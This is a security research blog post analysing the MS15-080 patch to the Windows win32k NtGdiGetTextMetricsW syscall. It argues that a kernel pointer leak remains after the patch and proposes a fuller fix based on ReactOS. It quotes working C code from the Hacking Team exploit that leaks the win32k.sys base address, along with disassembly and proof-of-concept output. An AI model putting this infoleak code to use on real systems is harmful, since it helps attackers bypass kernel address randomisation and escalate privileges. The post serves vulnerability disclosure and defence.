Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch:

This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But, after our analysis, it appears that there is still an information leak vulnerability present after the patch is applied.

Since the patch is related to win32k!NtGdiGetTextMetricsW, we suspected it could be for the initial info leak exploited in vlad902/hacking-team-windows-kernel-lpe · GitHub:

// Leak the base address of `win32k.sys`. This infoleak is slightly different from  
// the standalone infoleak because we need to handle the position-independent nature  
// of this exploit.  
ULONGLONG win32k_infoleak() {  
    // Declaring functions that we want to use (see FunctionSignatures.h).  
    FuncCreateCompatibleDC MyCreateCompatibleDC;  
    FuncDeleteDC MyDeleteDC;  
  
    ULONGLONG win32k_base_addr = 0;  
    HDC hdc;  
  
    // Get function addresses.  
    MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068);  
    MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2);  
  
    hdc = MyCreateCompatibleDC(NULL);  
    if (hdc == NULL) {  
        return NULL;  
    }  
  
    // Leak the address and retrieve it from `buffer`.  
    MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);  
  
    DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4);  // High DWORD of leaked address  
    DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38);      // Low DWORD of leaked address  
  
    // Check: High DWORD should be a kernel-mode address (i.e.  
    // 0xffff0800`00000000). We make the check stricter by checking for a  
    // subset of kernel-mode addresses.  
    if ((hi & 0xfffff000) != 0xfffff000) {  
        return NULL;  
    }  
  
    // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using  
    // the following computation.  
    win32k_base_addr = ((ULONGLONG)hi << 32) | lo;  
  
    // Adjust for offset to get base address of `win32k.sys`.  
    win32k_base_addr -= 0x0003cf00;  
  
    // Check: Base address of `win32k.sys` should be of the form  
    // 0xFFFFFxxx`00xxx000.  
    if ((win32k_base_addr & 0xff000fff) != 0) {  
        return NULL;  
    }  
  
    MyDeleteDC(hdc);  
    return win32k_base_addr;  
}  

The important line to retrieve the win32k.sys address is:

    // Leak the address and retrieve it from `buffer`.  
    MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);  

This will invoke the NtGdiGetTextMetricsW syscall, whose purpose, according to the msdn documentation, is to fill "the specified buffer with the metrics for the currently selected font.". Filling a buffer with metrics coming from the kernel definitely sounds interesting .

Here is the prototype for the user space API:

BOOL GetTextMetrics(  
  _In_  HDC          hdc,  
  _Out_ LPTEXTMETRIC lptm  
);  

And here is the syscall prototype, according to ReactOS:

W32KAPI BOOL APIENTRY NtGdiGetTextMetricsW(IN HDC hDC, OUT TMW_INTERNAL * pUnsafeTmwi, IN ULONG cj)  

Where:

  • hDC: is a handle to a device context (this matches with the user space signature).
  • pUnsafeTmwi: according to the userspace API, should be a pointer to a TEXTMETRICSW structure, but according to the syscall definition by ReactOS the kernel should receive a TMW_INTERNAL pointer. By the way this is the destination in user space where the metrics will be stored.
  • cj: is the size of the destination user space buffer pUnsafeTmwi (destination buffer).

The first thing that calls our attention is the third parameter. Can we provide an arbitrary length to copy? No, we can not get more than 0x44 bytes, according to the next NtGdiGetTextMetricsW check:

.text:FFFFF97FFF00754A cmp     r8d, 44h  
.text:FFFFF97FFF00754E jb      loc_FFFFF97FFF  

.text:FFFFF97FFF0075DF loc_FFFFF97FFF0075DF:  
.text:FFFFF97FFF0075DF mov     eax, edx  
.text:FFFFF97FFF0075E1 add     rsp, 70h  
.text:FFFFF97FFF0075E5 pop     rbx  
.text:FFFFF97FFF0075E6 retn  

Next, we are interested in the second argument, specially the differences between the user space definition and the kernel prototype (at least in the prototype used by ReactOS). According to the TEXTMETRICW definition, 0x44 bytes is too much data to copy, since the structure size only has 0x39 bytes of valid data (even with the padding bytes inserted by the C compiler).

typedef struct tagTEXTMETRICW  
{  
    LONG        tmHeight;  
    LONG        tmAscent;  
    LONG        tmDescent;  
    LONG        tmInternalLeading;  
    LONG        tmExternalLeading;  
    LONG        tmAveCharWidth;  
    LONG        tmMaxCharWidth;  
    LONG        tmWeight;  
    LONG        tmOverhang;  
    LONG        tmDigitizedAspectX;  
    LONG        tmDigitizedAspectY;  
    WCHAR       tmFirstChar;  
    WCHAR       tmLastChar;  
    WCHAR       tmDefaultChar;  
    WCHAR       tmBreakChar;  
    BYTE        tmItalic;  
    BYTE        tmUnderlined;  
    BYTE        tmStruckOut;  
    BYTE        tmPitchAndFamily;  
    BYTE        tmCharSet;  
} TEXTMETRICW, *PTEXTMETRICW, NEAR *NPTEXTMETRICW, FAR *LPTEXTMETRICW;  

Reviewing the NtGdiGetTextMetricsW assembly code before the patch, it copies the contents of the TEXTMETRICW to a kernel local variable on the stack, with the help of GrGetTextMetricsW:

.text:FFFFF97FFF007554 lea     rdx, [rsp+78h+var_58] ; rdx comes from the stack  
.text:FFFFF97FFF007559 call    GreGetTextMetricsW  

It will then copy 0x44 bytes from this kernel space memory to the user space buffer sent with the syscall:

.text:FFFFF97FFF00758D loc_FFFFF97FFF00758D:  
.text:FFFFF97FFF00758D mov     rax, [rsp+78h+var_58]  
.text:FFFFF97FFF007592 mov     [rbx], rax  
.text:FFFFF97FFF007595 mov     rax, [rsp+78h+var_50]  
.text:FFFFF97FFF00759A mov     [rbx+8], rax  
.text:FFFFF97FFF00759E mov     rax, [rsp+78h+var_48]  
.text:FFFFF97FFF0075A3 mov     [rbx+10h], rax  
.text:FFFFF97FFF0075A7 mov     rax, [rsp+78h+var_40]  
.text:FFFFF97FFF0075AC mov     [rbx+18h], rax  
.text:FFFFF97FFF0075B0 mov     rax, [rsp+78h+var_38]  
.text:FFFFF97FFF0075B5 mov     [rbx+20h], rax  
.text:FFFFF97FFF0075B9 mov     rax, [rsp+78h+var_30]  
.text:FFFFF97FFF0075BE mov     [rbx+28h], rax  
.text:FFFFF97FFF0075C2 mov     rax, [rsp+78h+var_28]  
.text:FFFFF97FFF0075C7 mov     [rbx+30h], rax  
.text:FFFFF97FFF0075CB mov     rax, [rsp+78h+var_20]  
.text:FFFFF97FFF0075D0 mov     [rbx+38h], rax  
.text:FFFFF97FFF0075D4 mov     eax, [rsp+78h+var_18]  
.text:FFFFF97FFF0075D8 mov     [rbx+40h], eax  

Checking the patch spotted by Greg Linares, it is initializing the kernel local variable used by win32k!NtGdiGetTextMetricsW to hold the copy of the TEXTMETRICW contents:

.text:FFFFF97FFF007540                 xor     edx, edx        ; Val  
.text:FFFFF97FFF007542                 cmp     r8d, 44h  
.text:FFFFF97FFF007546                 jb      loc_FFFFF97FFF0075E8  
.text:FFFFF97FFF00754C                 lea     r8d, [rdx+44h]  ; Size  
.text:FFFFF97FFF007550                 lea     rcx, [rsp+78h+Dst] ; Dst  
.text:FFFFF97FFF007555                 call    memset  

Unfortunately, the problem isn't only NtGdiGetTextMetricsW not initializing the local variable. It is also copying to user space more data than the 1TEXTMETRICW contents. If you keep tracing the code that fills the kernel local variable, you will reach win32k!bGetTextMetrics. There, 0x44 bytes are again copied from kernel dynamic memory to the local kernel buffer (pointed by r8):

.text:FFFFF97FFF013BC5                 mov     r10, [r9+2B8h]  
.text:FFFFF97FFF013BCC                 test    r10, r10  
.text:FFFFF97FFF013BCF                 jz      loc_FFFFF97FFF013C5B  
.text:FFFFF97FFF013BD5                 mov     rax, [r10]  
.text:FFFFF97FFF013BD8                 mov     r9d, 0FFh  
.text:FFFFF97FFF013BDE                 mov     [r8], rax  
.text:FFFFF97FFF013BE1                 mov     rax, [r10+8]  
.text:FFFFF97FFF013BE5                 mov     [r8+8], rax  
.text:FFFFF97FFF013BE9                 mov     rax, [r10+10h]  
.text:FFFFF97FFF013BED                 mov     [r8+10h], rax  
.text:FFFFF97FFF013BF1                 mov     rax, [r10+18h]  
.text:FFFFF97FFF013BF5                 mov     [r8+18h], rax  
.text:FFFFF97FFF013BF9                 mov     rax, [r10+20h]  
.text:FFFFF97FFF013BFD                 mov     [r8+20h], rax  
.text:FFFFF97FFF013C01                 mov     rax, [r10+28h]  
.text:FFFFF97FFF013C05                 mov     [r8+28h], rax  
.text:FFFFF97FFF013C09                 mov     rax, [r10+30h]  
.text:FFFFF97FFF013C0D                 mov     [r8+30h], rax  
.text:FFFFF97FFF013C11                 mov     rax, [r10+38h]  
.text:FFFFF97FFF013C15                 mov     [r8+38h], rax  
.text:FFFFF97FFF013C19                 mov     eax, [r10+40h]  
.text:FFFFF97FFF013C1D                 mov     [r8+40h], eax  

Checking the ReactOS code, we see that TEXTMETRICW is part of a longer structure, named TMW_INTERNAL on ReactOS:

/* Font Structures */  
typedef struct _TMDIFF  
{  
    ULONG cjotma;  
    CHAR chFirst;  
    CHAR chLast;  
    CHAR ChDefault;  
    CHAR ChBreak;  
} TMDIFF, *PTMDIFF;  
  
typedef struct _TMW_INTERNAL  
{  
    TEXTMETRICW TextMetric;  
    TMDIFF Diff;  
} TMW_INTERNAL, *PTMW_INTERNAL;  

My bet is that the win32k.sys pointer is being leaked from the data belonging to the TMW_INTERNAL structure, which wraps an TEXTMETRICW structure. Indeed, if you take into account the TMW_INTERNAL structure, the 0x44 length (with padding) makes sense

As a final note, ReactOS's method of filling the TMW_INTERNAL structure improves upon the MS15-080 patch and better closes the info leak. The strategy is:

  1. Initialize (zero) the local variable, as MS15-080 already does.
  2. When copying the data to the kernel local variable, the kernel should zero the TMDIFF space, since only the TEXTMETRICW data should reach user space later. It is what ReactOS does.
if (NT_SUCCESS(Status))  
{  
FillTM(&ptmwi->TextMetric, FontGDI, pOS2, pHori, !Error ? &Win : 0);  
  
/* FIXME: Fill Diff member */  
RtlZeroMemory(&ptmwi->Diff, sizeof(ptmwi->Diff));  
}  

   3. Additionally, the TEXTMETRICW padding should be zero'd also before copying the data to user space.

I have published a simple proof-of-concept for playing with this info leak here: jvazquez-r7/ht_win32k_info_leak · GitHub. This is the result of executing it on a machine with MS15-080 applied:

c:\InfoLeak\x64\Release>InfoLeak.exe
DeleteDC
[*] It looks like a kernel address, check if it's in the win32k.sys range
[*] Leak: fffff960001ba900
 
kd> lm m win32k
start             end                 module name
fffff960`0017d000 fffff960`00593000   win32k     (deferred)